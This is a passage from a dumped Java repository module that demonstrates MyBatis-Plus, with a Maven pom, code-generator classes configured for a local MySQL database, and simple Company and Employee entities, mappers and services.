    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>jun_mybatisplus</artifactId>\n\t<packaging>jar</packaging>\n\t<version>1.0</version>\n\n\t<properties>\n\t\t<maven.compiler.target>1.8</maven.compiler.target>\n\t\t<maven.compiler.source>1.8</maven.compiler.source>\n\t\t<!-- <spring.version>4.3.7.RELEASE</spring.version> -->\n\t\t<spring.version>5.1.9.RELEASE</spring.version>\n\t</properties>\n\n\t<dependencies>\n\t\t<!-- mp依赖 mybatisPlus 会自动的维护Mybatis 以及MyBatis-spring相关的依赖 -->\n\t\t<dependency>\n\t\t\t<groupId>com.baomidou</groupId>\n\t\t\t<artifactId>mybatis-plus</artifactId>\n\t\t\t<version>3.0.3</version>\n\t\t</dependency>\n\t\t<!--junit -->\n\t\t<dependency>\n\t\t\t<groupId>junit</groupId>\n\t\t\t<artifactId>junit</artifactId>\n\t\t\t<version>4.9</version>\n\t\t</dependency>\n\t\t<!-- log4j -->\n\t\t<dependency>\n\t\t\t<groupId>log4j</groupId>\n\t\t\t<artifactId>log4j</artifactId>\n\t\t\t<version>1.2.17</version>\n\t\t</dependency>\n\t\t<!-- c3p0 -->\n\t\t<dependency>\n\t\t\t<groupId>com.mchange</groupId>\n\t\t\t<artifactId>c3p0</artifactId>\n\t\t\t<version>0.9.5.4</version>\n\t\t</dependency>\n\t\t<!-- mysql -->\n\t\t<dependency>\n\t\t\t<groupId>mysql</groupId>\n\t\t\t<artifactId>mysql-connector-java</artifactId>\n\t\t\t<version>8.0.11</version>\n\t\t</dependency>\n\t\t<!-- spring -->\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-orm</artifactId>\n\t\t\t<version>4.3.10.RELEASE</version>\n\t\t</dependency>\n\t\t<!-- https://mvnrepository.com/artifact/org.projectlombok/lombok -->\n\t\t<dependency>\n\t\t\t<groupId>org.projectlombok</groupId>\n\t\t\t<artifactId>lombok</artifactId>\n\t\t\t<version>1.18.2</version>\n\t\t\t<scope>provided</scope>\n\t\t</dependency>\n\n\t\t<!-- https://mvnrepository.com/artifact/org.springframework/spring-core -->\n\t\t<!-- spring基本框架核心工具类，其他spring组件都需要依赖这个包 -->\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-core</artifactId>\n\t\t\t<version>${spring.version}</version>\n\t\t</dependency>\n\t\t<!-- https://mvnrepository.com/artifact/org.springframework/spring-beans -->\n\t\t<!--包含配置文件，创建和管理bean -->\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-beans</artifactId>\n\t\t\t<version>${spring.version}</version>\n\t\t</dependency>\n\t\t<!-- https://mvnrepository.com/artifact/org.springframework/spring-context -->\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-context</artifactId>\n\t\t\t<version>${spring.version}</version>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-jdbc</artifactId>\n\t\t\t<version>${spring.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-tx</artifactId>\n\t\t\t<version>${spring.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-web</artifactId>\n\t\t\t<version>${spring.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-webmvc</artifactId>\n\t\t\t<version>${spring.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-test</artifactId>\n\t\t\t<version>${spring.version}</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\n\t\t<!-- https://mvnrepository.com/artifact/javax.servlet/javax.servlet-api -->\n\t\t<dependency>\n\t\t\t<groupId>javax.servlet</groupId>\n\t\t\t<artifactId>javax.servlet-api</artifactId>\n\t\t\t<version>3.1.0</version>\n\t\t</dependency>\n\t\t<!-- https://mvnrepository.com/artifact/com.fasterxml.jackson.core/jackson-databind -->\n\t\t<dependency>\n\t\t\t<groupId>com.fasterxml.jackson.core</groupId>\n\t\t\t<artifactId>jackson-databind</artifactId>\n\t\t\t<version>2.9.10.1</version>\n\t\t</dependency>\n\t\t<!-- https://mvnrepository.com/artifact/org.slf4j/slf4j-api -->\n\t\t<dependency>\n\t\t\t<groupId>org.slf4j</groupId>\n\t\t\t<artifactId>slf4j-api</artifactId>\n\t\t\t<version>1.7.25</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.slf4j</groupId>\n\t\t\t<artifactId>slf4j-log4j12</artifactId>\n\t\t\t<version>1.7.25</version>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.apache.velocity</groupId>\n\t\t\t<artifactId>velocity-engine-core</artifactId>\n\t\t\t<version>2.0</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.freemarker</groupId>\n\t\t\t<artifactId>freemarker</artifactId>\n\t\t\t<version>2.3.9</version>\n\t\t</dependency>\n\n\t</dependencies>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <version>3.8.1</version>\n                <configuration>\n                    <source>8</source> <!-- 对应你的JDK版本 -->\n                    <target>8</target>\n                    <encoding>UTF-8</encoding> <!-- 强制编译编码为UTF-8 -->\n                </configuration>\n            </plugin>\n        </plugins>\n    </build>\n</project>\n"
  },
  {
    "path": "jun_java_plugins/jun_mybatisplus/src/main/java/com/jun/plugin/mybatisplus/CodeGenerator.java",
    "content": "package com.jun.plugin.mybatisplus;\n\nimport com.baomidou.mybatisplus.core.exceptions.MybatisPlusException;\nimport com.baomidou.mybatisplus.core.toolkit.StringPool;\nimport com.baomidou.mybatisplus.core.toolkit.StringUtils;\nimport com.baomidou.mybatisplus.generator.AutoGenerator;\nimport com.baomidou.mybatisplus.generator.InjectionConfig;\nimport com.baomidou.mybatisplus.generator.config.*;\nimport com.baomidou.mybatisplus.generator.config.po.TableInfo;\nimport com.baomidou.mybatisplus.generator.config.rules.NamingStrategy;\nimport com.baomidou.mybatisplus.generator.engine.FreemarkerTemplateEngine;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Scanner;\n\npublic class CodeGenerator {\n\n    /**\n     * <p>\n     * 读取控制台内容\n     * </p>\n     */\n    public static String scanner(String tip) {\n        Scanner scanner = new Scanner(System.in);\n        StringBuilder help = new StringBuilder();\n        help.append(\"请输入\" + tip + \"：\");\n        System.out.println(help.toString());\n        if (scanner.hasNext()) {\n            String ipt = scanner.next();\n            if (StringUtils.isNotEmpty(ipt)) {\n                return ipt;\n            }\n        }\n        throw new MybatisPlusException(\"请输入正确的\" + tip + \"！\");\n    }\n\n    public static void main(String[] args) {\n        // 代码生成器\n        AutoGenerator mpg = new AutoGenerator();\n\n        // 全局配置\n        GlobalConfig gc = new GlobalConfig();\n        final String projectPath = System.getProperty(\"user.dir\");\n        gc.setOutputDir(projectPath + \"/MyBatisGenerator/src/main/java\");\n        gc.setAuthor(\"bzcoder\");\n        gc.setEnableCache(true);\n        gc.setOpen(false);\n        gc.setBaseResultMap(true);\n        gc.setBaseColumnList(true);\n        mpg.setGlobalConfig(gc);\n\n        // 数据源配置\n        DataSourceConfig dsc = new DataSourceConfig();\n\n        dsc.setUrl(\"jdbc:mysql://192.168.15.128:3306/myBatisPlus?useUnicode=true&useSSL=false&characterEncoding=utf8\");\n        // dsc.setSchemaName(\"public\");\n        dsc.setDriverName(\"com.mysql.cj.jdbc.Driver\");\n        dsc.setUsername(\"root\");\n        dsc.setPassword(\"123456\");\n        mpg.setDataSource(dsc);\n\n        // 包配置\n        final PackageConfig pc = new PackageConfig();\n        pc.setModuleName(scanner(\"\"));\n        pc.setParent(\"com.bzcoder\");\n        mpg.setPackageInfo(pc);\n\n        // 自定义配置\n        InjectionConfig cfg = new InjectionConfig() {\n            @Override\n            public void initMap() {\n                // to do nothing\n            }\n        };\n        List<FileOutConfig> focList = new ArrayList<>();\n        focList.add(new FileOutConfig(\"/templates/mapper.xml.ftl\") {\n            @Override\n            public String outputFile(TableInfo tableInfo) {\n                // 自定义输入文件名称\n                return projectPath + \"/MyBatisGenerator/src/main/resources/mapper/\" + pc.getModuleName()\n                        + \"/\" + tableInfo.getEntityName() + \"Mapper\" + StringPool.DOT_XML;\n            }\n        });\n        cfg.setFileOutConfigList(focList);\n\n        mpg.setCfg(cfg);\n        mpg.setTemplate(new TemplateConfig().setXml(null));\n\n        // 策略配置\n        StrategyConfig strategy = new StrategyConfig();\n        strategy.setNaming(NamingStrategy.underline_to_camel);\n        strategy.setColumnNaming(NamingStrategy.underline_to_camel);\n        strategy.setSuperEntityClass(\"com.baomidou.ant.common.BaseEntity\");\n        strategy.setEntityLombokModel(true);\n        strategy.setRestControllerStyle(true);\n        strategy.setSuperControllerClass(\"com.baomidou.ant.common.BaseController\");\n        strategy.setInclude(\"tbl_employee\",\"tbl_company\");\n        strategy.setSuperEntityColumns(\"id\");\n        strategy.setControllerMappingHyphenStyle(true);\n        strategy.setTablePrefix(pc.getModuleName() + \"_\");\n        mpg.setStrategy(strategy);\n        mpg.setTemplateEngine(new FreemarkerTemplateEngine());\n        mpg.execute();\n    }\n\n}"
  },
  {
    "path": "jun_java_plugins/jun_mybatisplus/src/main/java/com/jun/plugin/mybatisplus/biz/entity/Company.java",
    "content": "package com.jun.plugin.mybatisplus.biz.entity;\n\nimport com.baomidou.mybatisplus.annotation.IdType;\nimport com.baomidou.mybatisplus.annotation.TableId;\nimport com.baomidou.mybatisplus.extension.activerecord.Model;\nimport lombok.Data;\n\nimport java.io.Serializable;\n\n/**\n * 活动模式\n * @author BaoZhou\n * @date 2018/10/1\n */\n@Data\npublic class Company extends Model<Company> {\n    @TableId(value = \"id\",type = IdType.AUTO)\n    private Integer id;\n    private String name;\n    private String owner;\n    private String location;\n    private Integer status;\n    /**\n     * @return 返回当前表的主键\n     */\n    @Override\n    protected Serializable pkVal() {\n        return id;\n    }\n}\n\n\n"
  },
  {
    "path": "jun_java_plugins/jun_mybatisplus/src/main/java/com/jun/plugin/mybatisplus/biz/entity/Employee.java",
    "content": "package com.jun.plugin.mybatisplus.biz.entity;\n\nimport com.baomidou.mybatisplus.annotation.IdType;\nimport com.baomidou.mybatisplus.annotation.TableId;\nimport lombok.Data;\n\n/**\n * @author BaoZhou\n * @date 2018/10/1\n */\n@Data\npublic class Employee {\n    @TableId(value = \"id\",type = IdType.AUTO)\n    private Integer id;\n    private String lastName;\n    private String email;\n    private Integer gender;\n    private Integer age;\n}\n\n\n"
  },
  {
    "path": "jun_java_plugins/jun_mybatisplus/src/main/java/com/jun/plugin/mybatisplus/biz/mapper/CompanyMapper.java",
    "content": "package com.jun.plugin.mybatisplus.biz.mapper;\n\nimport com.baomidou.mybatisplus.core.mapper.BaseMapper;\nimport com.jun.plugin.mybatisplus.biz.entity.Company;\n\n/**\n * @author BaoZhou\n * @date 2018/10/2\n */\npublic interface CompanyMapper extends BaseMapper<Company> {\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_mybatisplus/src/main/java/com/jun/plugin/mybatisplus/biz/mapper/EmployeeMapper.java",
    "content": "package com.jun.plugin.mybatisplus.biz.mapper;\n\nimport com.baomidou.mybatisplus.core.mapper.BaseMapper;\nimport com.jun.plugin.mybatisplus.biz.entity.Employee;\n\n/**\n * Mapper接口\n *\n * @author BaoZhou\n * @date 2018/10/1\n */\npublic interface EmployeeMapper extends BaseMapper<Employee> {\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_mybatisplus/src/main/java/com/jun/plugin/mybatisplus/biz/test/MyMetaObjectHandler.java",
    "content": "package com.jun.plugin.mybatisplus.biz.test;\n\nimport com.baomidou.mybatisplus.core.handlers.MetaObjectHandler;\nimport org.apache.ibatis.reflection.MetaObject;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\n\n/**\n * 自定义公共字段处理器\n * @author: BaoZhou\n * @date : 2018/10/8 22:41\n */\npublic class MyMetaObjectHandler implements MetaObjectHandler {\n\n    private static final Logger LOGGER = LoggerFactory.getLogger(MyMetaObjectHandler.class);\n\n    /**\n     * 插入操作自动填充\n     */\n    @Override\n    public void insertFill(MetaObject metaObject) {\n        LOGGER.info(\"start insert fill ....\");\n        this.setFieldValByName(\"age\", 99, metaObject);\n    }\n\n    /**\n     * 更新操作自动填充\n     */\n    @Override\n    public void updateFill(MetaObject metaObject) {\n        LOGGER.info(\"start update fill ....\");\n        this.setFieldValByName(\"age\", 98, metaObject);\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_mybatisplus/src/main/java/com/jun/plugin/mybatisplus/biz/test/controller/CompanyController.java",
    "content": "package com.jun.plugin.mybatisplus.biz.test.controller;\n\n\nimport org.springframework.web.bind.annotation.RequestMapping;\n\nimport org.springframework.stereotype.Controller;\n\n/**\n * <p>\n *  前端控制器\n * </p>\n *\n * @author BaoZhou\n * @since 2018-10-03\n */\n@Controller\n@RequestMapping(\"/test/company\")\npublic class CompanyController {\n\n}\n\n"
  },
  {
    "path": "jun_java_plugins/jun_mybatisplus/src/main/java/com/jun/plugin/mybatisplus/biz/test/controller/EmployeeController.java",
    "content": "package com.jun.plugin.mybatisplus.biz.test.controller;\n\n\nimport org.springframework.web.bind.annotation.RequestMapping;\n\nimport org.springframework.stereotype.Controller;\n\n/**\n * <p>\n *  前端控制器\n * </p>\n *\n * @author BaoZhou\n * @since 2018-10-03\n */\n@Controller\n@RequestMapping(\"/test/employee\")\npublic class EmployeeController {\n\n}\n\n"
  },
  {
    "path": "jun_java_plugins/jun_mybatisplus/src/main/java/com/jun/plugin/mybatisplus/biz/test/entity/Company.java",
    "content": "package com.jun.plugin.mybatisplus.biz.test.entity;\n\nimport com.baomidou.mybatisplus.annotation.*;\nimport com.baomidou.mybatisplus.extension.activerecord.Model;\n\nimport java.io.Serializable;\n\n/**\n * <p>\n * \n * </p>\n *\n * @author BaoZhou\n * @since 2018-10-03\n */\n@TableName(\"tbl_company\")\npublic class Company extends Model<Company> {\n\n    private static final long serialVersionUID = 1L;\n\n    @TableId(value = \"id\", type = IdType.AUTO)\n    private Integer id;\n\n    private String name;\n\n    private String owner;\n\n    private String location;\n\n    @TableField(fill = FieldFill.INSERT_UPDATE)\n    private Integer status;\n\n\n    public Integer getId() {\n        return id;\n    }\n\n    public void setId(Integer id) {\n        this.id = id;\n    }\n\n    public String getName() {\n        return name;\n    }\n\n    public void setName(String name) {\n        this.name = name;\n    }\n\n    public String getOwner() {\n        return owner;\n    }\n\n    public void setOwner(String owner) {\n        this.owner = owner;\n    }\n\n    public String getLocation() {\n        return location;\n    }\n\n    public void setLocation(String location) {\n        this.location = location;\n    }\n\n    public Integer getStatus() {\n        return status;\n    }\n\n    public void setStatus(Integer status) {\n        this.status = status;\n    }\n\n    @Override\n    protected Serializable pkVal() {\n        return this.id;\n    }\n\n    @Override\n    public String toString() {\n        return \"Company{\" +\n        \"id=\" + id +\n        \", name=\" + name +\n        \", owner=\" + owner +\n        \", location=\" + location +\n        \", status=\" + status +\n        \"}\";\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_mybatisplus/src/main/java/com/jun/plugin/mybatisplus/biz/test/entity/Employee.java",
    "content": "package com.jun.plugin.mybatisplus.biz.test.entity;\n\nimport com.baomidou.mybatisplus.annotation.*;\nimport com.baomidou.mybatisplus.extension.activerecord.Model;\n\nimport java.io.Serializable;\n\n/**\n * <p>\n * \n * </p>\n *\n * @author BaoZhou\n * @since 2018-10-03\n */\n@TableName(\"tbl_employee\")\npublic class Employee extends Model<Employee> {\n\n    private static final long serialVersionUID = 1L;\n\n    @TableId(value = \"id\", type = IdType.AUTO)\n    private Integer id;\n\n    private String lastName;\n\n    private String email;\n\n    private String gender;\n\n    private Integer age;\n\n    @Version\n    private Integer version;\n\n    @TableLogic\n    private Integer deleted;\n    public Integer getId() {\n        return id;\n    }\n\n    public void setId(Integer id) {\n        this.id = id;\n    }\n\n    public String getLastName() {\n        return lastName;\n    }\n\n    public void setLastName(String lastName) {\n        this.lastName = lastName;\n    }\n\n    public String getEmail() {\n        return email;\n    }\n\n    public void setEmail(String email) {\n        this.email = email;\n    }\n\n    public String getGender() {\n        return gender;\n    }\n\n    public void setGender(String gender) {\n        this.gender = gender;\n    }\n\n    public Integer getAge() {\n        return age;\n    }\n\n    public void setAge(Integer age) {\n        this.age = age;\n    }\n\n    public Integer getVersion() {\n        return version;\n    }\n\n    public void setVersion(Integer version) {\n        this.version = version;\n    }\n    public Integer getDeleted() {\n        return deleted;\n    }\n\n    public void setDeleted(Integer deleted) {\n        this.deleted = deleted;\n    }\n\n    @Override\n    protected Serializable pkVal() {\n        return this.id;\n    }\n\n    @Override\n    public String toString() {\n        return \"Employee{\" +\n        \"id=\" + id +\n        \", lastName=\" + lastName +\n        \", email=\" + email +\n        \", gender=\" + gender +\n        \", age=\" + age +\n        \"}\";\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_mybatisplus/src/main/java/com/jun/plugin/mybatisplus/biz/test/mapper/CompanyMapper.java",
    "content": "package com.jun.plugin.mybatisplus.biz.test.mapper;\n\nimport com.baomidou.mybatisplus.core.mapper.BaseMapper;\nimport com.jun.plugin.mybatisplus.biz.test.entity.Company;\n\n/**\n * <p>\n *  Mapper 接口\n * </p>\n *\n * @author BaoZhou\n * @since 2018-10-03\n */\npublic interface CompanyMapper extends BaseMapper<Company> {\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_mybatisplus/src/main/java/com/jun/plugin/mybatisplus/biz/test/mapper/EmployeeMapper.java",
    "content": "package com.jun.plugin.mybatisplus.biz.test.mapper;\n\nimport com.baomidou.mybatisplus.core.mapper.BaseMapper;\nimport com.jun.plugin.mybatisplus.biz.test.entity.Employee;\n\n/**\n * <p>\n *  Mapper 接口\n * </p>\n *\n * @author BaoZhou\n * @since 2018-10-03\n */\npublic interface EmployeeMapper extends BaseMapper<Employee> {\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_mybatisplus/src/main/java/com/jun/plugin/mybatisplus/biz/test/service/ICompanyService.java",
    "content": "package com.jun.plugin.mybatisplus.biz.test.service;\n\nimport com.baomidou.mybatisplus.extension.service.IService;\nimport com.jun.plugin.mybatisplus.biz.test.entity.Company;\n\n/**\n * <p>\n *  服务类\n * </p>\n *\n * @author BaoZhou\n * @since 2018-10-03\n */\npublic interface ICompanyService extends IService<Company> {\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_mybatisplus/src/main/java/com/jun/plugin/mybatisplus/biz/test/service/IEmployeeService.java",
    "content": "package com.jun.plugin.mybatisplus.biz.test.service;\n\nimport com.baomidou.mybatisplus.extension.service.IService;\nimport com.jun.plugin.mybatisplus.biz.test.entity.Employee;\n\n/**\n * <p>\n *  服务类\n * </p>\n *\n * @author BaoZhou\n * @since 2018-10-03\n */\npublic interface IEmployeeService extends IService<Employee> {\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_mybatisplus/src/main/java/com/jun/plugin/mybatisplus/biz/test/service/impl/CompanyServiceImpl.java",
    "content": "package com.jun.plugin.mybatisplus.biz.test.service.impl;\n\nimport com.baomidou.mybatisplus.extension.service.impl.ServiceImpl;\nimport com.jun.plugin.mybatisplus.biz.test.entity.Company;\nimport com.jun.plugin.mybatisplus.biz.test.mapper.CompanyMapper;\nimport com.jun.plugin.mybatisplus.biz.test.service.ICompanyService;\n\nimport org.springframework.stereotype.Service;\n\n/**\n * <p>\n *  服务实现类\n * </p>\n *\n * @author BaoZhou\n * @since 2018-10-03\n */\n@Service\npublic class CompanyServiceImpl extends ServiceImpl<CompanyMapper, Company> implements ICompanyService {\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_mybatisplus/src/main/java/com/jun/plugin/mybatisplus/biz/test/service/impl/EmployeeServiceImpl.java",
    "content": "package com.jun.plugin.mybatisplus.biz.test.service.impl;\n\nimport com.baomidou.mybatisplus.extension.service.impl.ServiceImpl;\nimport com.jun.plugin.mybatisplus.biz.test.entity.Employee;\nimport com.jun.plugin.mybatisplus.biz.test.mapper.EmployeeMapper;\nimport com.jun.plugin.mybatisplus.biz.test.service.IEmployeeService;\n\nimport org.springframework.stereotype.Service;\n\n/**\n * <p>\n *  服务实现类\n * </p>\n *\n * @author BaoZhou\n * @since 2018-10-03\n */\n@Service\npublic class EmployeeServiceImpl extends ServiceImpl<EmployeeMapper, Employee> implements IEmployeeService {\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_mybatisplus/src/main/java/com/jun/plugin/mybatisplus/generator/GeneratorTest.java",
    "content": "package com.jun.plugin.mybatisplus.generator;\n\nimport java.util.Scanner;\n\n\n/**\n * <p>\n * Generator test\n * </p>\n *\n * @author hubin\n * @since 2018-01-11\n */\npublic class GeneratorTest {\n\n    /**\n     * <p>\n     * 读取控制台内容\n     * </p>\n     */\n    public static int scanner() {\n        Scanner scanner = new Scanner(System.in);\n        StringBuilder help = new StringBuilder();\n        help.append(\" ！！代码生成, 输入 0 表示使用 Velocity 引擎 ！！\");\n        help.append(\"\\n对照表：\");\n        help.append(\"\\n0 = Velocity 引擎\");\n        help.append(\"\\n1 = Freemarker 引擎\");\n        help.append(\"\\n请输入：\");\n        System.out.println(help.toString());\n        int slt = 0;\n        // 现在有输入数据\n        if (scanner.hasNext()) {\n            String ipt = scanner.next();\n            if (\"1\".equals(ipt)) {\n                slt = 1;\n            }\n        }\n        return slt;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_mybatisplus/src/main/java/com/jun/plugin/mybatisplus/generator/MysqlGenerator.java",
    "content": "/**\n * Copyright (c) 2011-2016, hubin (jobob@qq.com).\n * <p>\n * Licensed under the Apache License, Version 2.0 (the \"License\"); you may not\n * use this file except in compliance with the License. You may obtain a copy of\n * the License at\n * <p>\n * http://www.apache.org/licenses/LICENSE-2.0\n * <p>\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n * License for the specific language governing permissions and limitations under\n * the License.\n */\npackage com.jun.plugin.mybatisplus.generator;\n\nimport com.baomidou.mybatisplus.annotation.DbType;\nimport com.baomidou.mybatisplus.annotation.FieldFill;\nimport com.baomidou.mybatisplus.generator.AutoGenerator;\nimport com.baomidou.mybatisplus.generator.InjectionConfig;\nimport com.baomidou.mybatisplus.generator.config.*;\nimport com.baomidou.mybatisplus.generator.config.converts.MySqlTypeConvert;\nimport com.baomidou.mybatisplus.generator.config.po.TableFill;\nimport com.baomidou.mybatisplus.generator.config.po.TableInfo;\nimport com.baomidou.mybatisplus.generator.config.rules.DbColumnType;\nimport com.baomidou.mybatisplus.generator.config.rules.NamingStrategy;\nimport com.baomidou.mybatisplus.generator.engine.FreemarkerTemplateEngine;\n\nimport java.util.*;\n\n/**\n * <p>\n * 代码生成器演示\n * </p>\n *\n * @author hubin\n * @since 2016-12-01\n */\npublic class MysqlGenerator extends GeneratorTest {\n\n    /**\n     * <p>\n     * MySQL 生成演示\n     * </p>\n     */\n    public static void main(String[] args) {\n        int result = scanner();\n        // 自定义需要填充的字段\n        List<TableFill> tableFillList = new ArrayList<>();\n        tableFillList.add(new TableFill(\"ASDD_SS\", FieldFill.INSERT_UPDATE));\n\n        // 代码生成器\n        AutoGenerator mpg = new AutoGenerator().setGlobalConfig(\n            // 全局配置\n            new GlobalConfig()\n                .setOutputDir(\"D:\\\\SpringBootStudy\\\\MyBatisPlus\\\\MyBatisGenerator\\\\src\\\\main\\\\java\")//输出目录\n                .setFileOverride(true)// 是否覆盖文件\n                .setActiveRecord(true)// 开启 activeRecord 模式\n                .setEnableCache(false)// XML 二级缓存\n                .setBaseResultMap(true)// XML ResultMap\n                .setBaseColumnList(true)// XML columList\n                //.setKotlin(true) 是否生成 kotlin 代码\n                .setAuthor(\"BaoZhou\")\n            // 自定义文件命名，注意 %s 会自动填充表实体属性！\n            // .setEntityName(\"%sEntity\");\n            // .setMapperName(\"%sDao\")\n            // .setXmlName(\"%sDao\")\n            // .setServiceName(\"MP%sService\")\n            // .setServiceImplName(\"%sServiceDiy\")\n            // .setControllerName(\"%sAction\")\n        ).setDataSource(\n            // 数据源配置\n            new DataSourceConfig()\n                .setDbType(DbType.MYSQL)// 数据库类型\n                //.setTypeConvert(new MySqlTypeConvert() {\n                //    // 自定义数据库表字段类型转换【可选】\n                //    @Override\n                //    public DbColumnType processTypeConvert(GlobalConfig globalConfig, String fieldType) {\n                //        System.out.println(\"转换类型：\" + fieldType);\n                //        // if ( fieldType.toLowerCase().contains( \"tinyint\" ) ) {\n                //        //    return DbColumnType.BOOLEAN;\n                //        // }\n                //        return super.processTypeConvert(globalConfig, fieldType);\n                //    }\n                //})\n                .setDriverName(\"com.mysql.cj.jdbc.Driver\")\n                .setUsername(\"root\")\n                .setPassword(\"123456\")\n                .setUrl(\"jdbc:mysql://192.168.15.128:3306/myBatisPlus?characterEncoding=utf8\")\n        ).setStrategy(\n            // 策略配置\n            new StrategyConfig()\n                // .setCapitalMode(true)// 全局大写命名\n                // .setDbColumnUnderline(true)//全局下划线命名\n                .setTablePrefix(new String[]{\"tbl_\", \"mp_\"})// 此处可以修改为您的表前缀\n                .setNaming(NamingStrategy.underline_to_camel)// 表名生成策略\n                // .setInclude(new String[] { \"user\" }) // 需要生成的表\n                // .setExclude(new String[]{\"test\"}) // 排除生成的表\n                // 自定义实体父类\n                // .setSuperEntityClass(\"com.baomidou.demo.TestEntity\")\n                // 自定义实体，公共字段\n                .setSuperEntityColumns(new String[]{\"test_id\"})\n                .setTableFillList(tableFillList)\n            // 自定义 mapper 父类\n            // .setSuperMapperClass(\"com.baomidou.demo.TestMapper\")\n            // 自定义 service 父类\n            // .setSuperServiceClass(\"com.baomidou.demo.TestService\")\n            // 自定义 service 实现类父类\n            // .setSuperServiceImplClass(\"com.baomidou.demo.TestServiceImpl\")\n            // 自定义 controller 父类\n            // .setSuperControllerClass(\"com.baomidou.demo.TestController\")\n            // 【实体】是否生成字段常量（默认 false）\n            // public static final String ID = \"test_id\";\n            // .setEntityColumnConstant(true)\n            // 【实体】是否为构建者模型（默认 false）\n            // public User setName(String name) {this.name = name; return this;}\n            // .setEntityBuilderModel(true)\n            // 【实体】是否为lombok模型（默认 false）<a href=\"https://projectlombok.org/\">document</a>\n            // .setEntityLombokModel(true)\n            // Boolean类型字段是否移除is前缀处理\n            // .setEntityBooleanColumnRemoveIsPrefix(true)\n            // .setRestControllerStyle(true)\n            // .setControllerMappingHyphenStyle(true)\n        ).setPackageInfo(\n            // 包配置\n            new PackageConfig()\n                .setModuleName(\"test\")\n                .setParent(\"com.bzcoder\")// 自定义包路径\n                .setController(\"controller\")// 这里是控制器包名，默认 web\n        ).setCfg(\n            // 注入自定义配置，可以在 VM 中使用 cfg.abc 设置的值\n            new InjectionConfig() {\n                @Override\n                public void initMap() {\n                    Map<String, Object> map = new HashMap<>();\n                    map.put(\"abc\", this.getConfig().getGlobalConfig().getAuthor() + \"-mp\");\n                    this.setMap(map);\n                }\n            }.setFileOutConfigList(Collections.<FileOutConfig>singletonList(new FileOutConfig(\n                \"/templates/mapper.xml\" + ((1 == result) ? \".ftl\" : \".vm\")) {\n                // 自定义输出文件目录\n                @Override\n                public String outputFile(TableInfo tableInfo) {\n                    return \"D:/develop/code/xml/\" + tableInfo.getEntityName() + \".xml\";\n                }\n            }))\n        ).setTemplate(\n            // 关闭默认 xml 生成，调整生成 至 根目录\n            new TemplateConfig().setXml(null)\n            // 自定义模板配置，模板可以参考源码 /mybatis-plus/src/main/resources/template 使用 copy\n            // 至您项目 src/main/resources/template 目录下，模板名称也可自定义如下配置：\n            // .setController(\"...\");\n            // .setEntity(\"...\");\n            // .setMapper(\"...\");\n            // .setXml(\"...\");\n            // .setService(\"...\");\n            // .setServiceImpl(\"...\");\n        );\n        // 执行生成\n        if (1 == result) {\n            mpg.setTemplateEngine(new FreemarkerTemplateEngine());\n        }\n        mpg.execute();\n\n        // 打印注入设置，这里演示模板里面怎么获取注入内容【可无】\n        System.err.println(mpg.getCfg().getMap().get(\"abc\"));\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_mybatisplus/src/main/resources/applicationContext.xml",
